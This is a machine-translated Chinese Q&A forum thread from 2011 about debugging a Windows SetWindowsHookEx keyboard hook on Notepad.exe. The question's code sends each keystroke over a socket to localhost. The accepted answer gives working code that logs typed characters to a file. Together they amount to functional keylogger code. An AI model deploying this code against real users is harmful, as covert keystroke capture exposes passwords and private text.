2011-12-30 150 views
1

我想通過使用SetWindowsHookEx鍵盤掛鉤Notepad.exe。試圖掛鉤Notepad.exe

如您所見,工作線程正在將其代碼爲wParam的ASCII代碼發送到指定的服務器。

UINT WINAPI SendToServer(LPVOID lpParam) 
{ 
    CSocket Client; 

    Client.Create(); 

    Client.Connect("localhost", 6677); 
    Client.Send(lpParam, 2); // sending its ASICI code to Server 

    Client.Close(); 

    return 0; 
} 

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
    TCHAR szPath[MAX_PATH] = {0,}; 
    TCHAR* p = nullptr; 

    if(nCode >= 0) 
    { 
     // bit 31 : 0 => press, 1 => release 

     if(!(lParam & 0x80000000)) 
     { 
      GetModuleFileName(NULL, szPath, MAX_PATH); 
      p = strrchr(szPath, '\\'); 

      if(!_stricmp(p + 1, "Notepad.exe")) 
      { 
       unsigned ThreadID; 
       g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread 

       return 0; 
      } 
     } 
    } 

    return CallNextHookEx(g_hHook, nCode, wParam, lParam); 
} 

的問題是,對於涉及到新的工作線程某種原因,記事本發生了嚴重錯誤(如果我點擊「忽略」按鈕幾次,還挺工作雖然)。

我刪除這條線之下,

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread 

然後沒有出現錯誤,從Notepad.exe的

任何幫助將是非常讚賞。

在此先感謝。

+1

你確定這是C#?對我來說,它看起來非常像C++。 – 2011-12-30 05:13:57

+0

對不起,這是C++。沒有添加C#標籤。不知道爲什麼添加C#標籤。 – 2011-12-30 05:16:41

回答

2

這會爲你工作..?硬編碼路徑只用於測試目的 路徑更改爲匹配您的NOTEPAD.EXE所在

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
    ofstream fout; 
    fout.open("c:\\NotePad.exe",ios::app); 

    if (nCode < 0 || nCode != HC_ACTION) 
    return CallNextHookEx(hkb, nCode, wParam, lParam); 


    if ((((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode)) 
    { 
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f) &&(wParam<=0x100))) 
     { 
     if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ?? 
      { 
     BYTE ks[256]; 
     GetKeyboardState(ks); 

     WORD w; 
     UINT scan=0; 
     ToAscii(wParam,scan,ks,&w,0); 
     fout<<char(w); 
      } 
     } 
    } 

    fout.close(); 

    return CallNextHookEx(hkb, nCode, wParam, lParam); 
} 
+0

完美的作品。非常感謝! – 2011-12-30 05:31:55

+0

Hrm,不,不要「更改路徑以匹配notepad.exe所在的位置」。您絕不應該像這樣在應用程序中硬編碼路徑。如果您打算髮布用於測試目的的示例代碼,則需要一個巨大的警告標誌,並帶有閃爍的紅燈,表示在實際代碼中永遠不會這樣做。 – 2011-12-30 05:34:52

+0

有趣的是..我用Delphi編碼了17年,所以我用於WinApi ShellExecute所以代碼很容易閱讀..我可以閱讀C++,但更喜歡C#..新年快樂,我很高興,這適用於你.. – MethodMan 2011-12-30 05:36:55